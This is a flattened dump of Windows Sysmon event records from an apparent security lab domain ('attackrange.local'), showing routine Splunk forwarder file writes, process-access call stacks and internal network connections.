Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E760CFE1124B5C3C303724B2187F62EA,SHA256=D5DFDE4698D2A5668FF21250D36A64277CF3105BA98989A80CF85710D126CD09,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.037{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C8C7046E649C3ADAC6BDC718B4BE8131,SHA256=5F1CB9378B4BF3D923726154F0E80EE4DF5DB34EC2054520C72E0F15B0AE32D6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:21.006{7BD73061-7124-613B-240B-00000000F001}33005580C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015248Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:22.569{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=05EFA09EDC8E4FDC1C0F1D87DCC8DE75,SHA256=BA9E1693E0BCC70C7EC68040F4EB21209D0012265C3C72088E80862EC0D06595,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:22.834{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5ED5917548A85B5634ABCD957F334C7F,SHA256=DAB58CC83B72203066F5C230B15AF8A1E863BFBD69D52CA2558D8F1DE8DFDC28,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:22.084{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FC74522B002820BCC5E122DA5EEC26EC,SHA256=8D637E129C32164C978D35D0137F7EFBF561DA907805995BE0187B2964FD3CFD,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015247Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:21.377{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50214-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015249Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:23.584{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B46AE4C2EFA904961D557E6A94FC6CE4,SHA256=71BE794971162B24A3AD8C1BC706F9C38657F8DAAF61444F330FA8F0050085BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:23.193{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D0DA45E85E965710D1FEA954EE753A3,SHA256=82212618B8760314C6489D3E8506781CE53563C03A4A43B5FC5503914E5FF810,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015250Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:24.600{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=83E99E6FB47C52B546EFF3693CC43CBC,SHA256=B968ECF597A6835A38A265FF538A4EDF79B53D16BE8AB46D1FBA59B2B4E33606,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:24.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=57F7106FDE9E03CD9652298AC880DB61,SHA256=DCCE71A5DD4FB1FFB9F17FF6053EDDC56200FBCBE7EC41BC6FA67B2C4B0B9AB4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:25.506{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61768393D0FF2C9C3E58FD7DF0985AEF,SHA256=727C4BF20AD540A824129E2C8E8F34DC4BF6BB3FD911B300DDE4AE39D489F390,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015251Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:25.615{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1DDCA2CFE440B7EF299263FFB76A82E2,SHA256=CC2A5F604D8893FCE68AA708BE37066C7604060A4A69283887334B1AAF011AB9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:26.537{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63374F0E9F11730569E4C2A8FA0AFCB8,SHA256=4C3BBFFAE20C4AA7852956E01397551D693F625BF42B80CE71C9094B48FD3F5C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015252Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:26.615{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD8E87FCA4ED343120550E41D2E70FBF,SHA256=0D1176F2FB168F67CA0B61B6861DBDBC1C6B4B983874EF943B6429A159C7B210,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:23.458{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59406-false10.0.1.12-8000- 23542300x800000000000000047657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:27.553{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B547444BEA0EF815CA93B79BA25A9D18,SHA256=98433B8377D61309D2A3850517D1E29390198A13231D0F785B88286D6D54A3BE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015253Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:27.631{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C9C62F635BEFAEAF0040613BD08F7BC,SHA256=B07D522FDBAD39787F81AB2B4F3171956B6DFCF7199B6421CE2D303415051E1E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015255Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:28.631{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D75B9BE702988076A78B95821812ABCB,SHA256=D6984CF3B1F474C0CE748A219EF930C7663574F6E839D422731CC6005E4DE0A6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:28.568{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC5F66B6510FD9CF595DB8E5FE235129,SHA256=A22A5F141A845ACCDCD80EFE311D5D70E9817E861AA44F24662B7EE2C336BAF7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015254Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:26.455{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50215-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:29.678{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:29.600{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF81A4AFC6669EC595165285130954DE,SHA256=46F12F5E2C1164E5A6835245EBC693E432EC7CAA12CE48E7A11B7089910749F4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015256Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:29.646{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=510800A4A46B24A8309E25C1B8CF2FC2,SHA256=4D13E294E21415F35A1327DBE353C942B22D865F72E96D16446F34F9A3527215,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:30.615{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=362F17F1DD568FD48A0CFA6AE4422390,SHA256=CCBBDFEE1F6CC21157BE062BC1860329C5638B55EA1A610FC5AB470E7AD6D6B4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015257Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:30.662{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F19918A685FEF5BABA4DEF32A6E0C31,SHA256=4CD91A92BBCAB778CFEA8B583286F4963E9C09C78DB923C6BCC0F1644C904707,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:31.638{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=24F9604283709D698B48A7E918253F86,SHA256=3E5E0595E01D458DAB9096BFC754672728043E51E7E6A7BB71A8BD8CD91864F8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015271Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-712F-613B-CC04-00000000F101}1620C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015270Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015269Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015268Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015267Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015266Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015265Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015264Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015263Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015262Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015261Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-712F-613B-CC04-00000000F101}1620C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015260Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.763{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-712F-613B-CC04-00000000F101}1620C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015259Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.764{625C326B-712F-613B-CC04-00000000F101}1620C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT 